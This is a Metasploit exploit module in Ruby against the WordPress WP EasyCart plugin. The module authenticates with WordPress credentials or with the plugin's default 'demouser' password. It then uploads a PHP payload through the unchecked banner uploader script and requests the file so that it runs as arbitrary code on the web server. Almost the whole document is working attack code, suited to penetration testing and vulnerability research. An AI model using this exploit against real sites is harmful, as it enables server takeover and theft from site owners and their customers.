WordPress Plugin WP EasyCart - Unrestricted Arbitrary File Upload (Metasploit)

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress WP EasyCart Unrestricted File Upload',
      'Description'     => %q{WordPress Shopping Cart (WP EasyCart) Plugin for
                              WordPress contains a flaw that allows a remote
                              attacker to execute arbitrary PHP code. This
                              flaw exists because the
                              /inc/amfphp/administration/banneruploaderscript.php
                              script does not properly verify or sanitize
                              user-uploaded files. By uploading a .php file,
                              the remote system will place the file in a
                              user-accessible path. Making a direct request to
                              the uploaded file will allow the attacker to
                              execute the script with the privileges of the web
                              server.

                              In versions <= 3.0.8 authentication can be done by
                              using the WordPress credentials of a user with any
                              role. In later versions, a valid EasyCart admin
                              password will be required that is in use by any
                              admin user. A default installation of EasyCart will
                              setup a user called "demouser" with a preset password
                              of "demouser".},
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Kacper Szurek',                  # Vulnerability disclosure
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'References'      =>
        [
          ['OSVDB', '116806'],
          ['WPVDB', '7745']
        ],
      'DisclosureDate'  => 'Jan 08 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['wp-easycart', {}]],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']),
        OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']),
        OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']),
        OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false])
      ], self.class)
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def ec_password
    datastore['EC_PASSWORD']
  end

  def ec_password_is_hash
    datastore['EC_PASSWORD_IS_HASH']
  end

  def use_wordpress_authentication
    username.to_s != '' && password.to_s != ''
  end

  def use_ec_authentication
    ec_password.to_s != ''
  end

  def req_id
    if ec_password_is_hash
      return ec_password
    else
      return Rex::Text.md5(ec_password)
    end
  end

  def generate_mime_message(payload, date_hash, name, include_req_id)
    data = Rex::MIME::Message.new
    data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
    data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id
    data
  end

  def setup
    if !use_wordpress_authentication && !use_ec_authentication
      fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value')
    end

    super
  end

  def exploit
    vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication
    vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication

    if use_wordpress_authentication && use_ec_authentication
      print_status("#{peer} - Both EasyCart and WordPress credentials were supplied, attempting WordPress first...")
    end

    if use_wordpress_authentication
      print_status("#{peer} - Authenticating using #{username}:#{password}...")
      cookie = wordpress_login(username, password)

      if !cookie
        if use_ec_authentication
          print_warning("#{peer} - Failed to authenticate with WordPress, attempting upload with EC password next...")
        else
          fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')
        end
      else
        print_good("#{peer} - Authenticated with WordPress")
      end
    end

    print_status("#{peer} - Preparing payload...")
    payload_name = Rex::Text.rand_text_alpha(10)
    date_hash = Rex::Text.md5(Time.now.to_s)
    uploaded_filename = "#{payload_name}_#{date_hash}.php"
    plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
    uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
    payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)
    data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication)

    print_status("#{peer} - Uploading payload to #{payload_url}")
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => uploader_url,
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s,
      'cookie'  => cookie
    )

    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200

    print_status("#{peer} - Executing the payload...")
    register_files_for_cleanup(uploaded_filename)
    res = send_request_cgi(
    {
      'uri'     => payload_url,
      'method'  => 'GET'
    }, 5)

    if !res.nil? && res.code == 404
      print_error("#{peer} - Failed to upload the payload")
    else
      print_good("#{peer} - Executed payload")
    end
  end
end